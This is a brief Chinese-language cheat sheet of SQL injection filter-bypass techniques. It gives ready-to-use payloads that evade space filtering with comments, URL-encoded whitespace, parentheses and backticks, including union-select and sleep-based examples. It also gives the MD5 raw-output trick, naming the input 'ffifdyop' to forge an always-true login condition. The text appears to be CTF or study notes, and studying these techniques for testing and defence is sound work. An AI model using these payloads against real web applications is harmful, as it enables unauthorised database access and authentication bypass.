SQL注入绕过

SQL注入绕过

空格绕过

1.利用注释绕过

---

如：id=1/**/and/**/1=1/**/#

2.利用引号绕过

---

如id='1'and'1'='2'

3.利用 %09、%0a、%0b、%0c、%0d 绕过

---

将空格替换即可 如：id='1'%09union%09select%081,2,3 #

4.利用括号绕过

---

如：
id='1'and(1=1)
id='1'union select(database()),('1')注：union select中间无法使用括号绕过
id='1'and(if(1=1,sleep(2),1))

5.利用"`" 绕过

---

如：select`name`from`user`

md5绕过

当mysql中md5第二个参数为True时
以原始 16 字符二进制格式。
因此,输入ffifdyop或129581926211651571912466741651878684928进行md5加密后先当于'or'6或'or true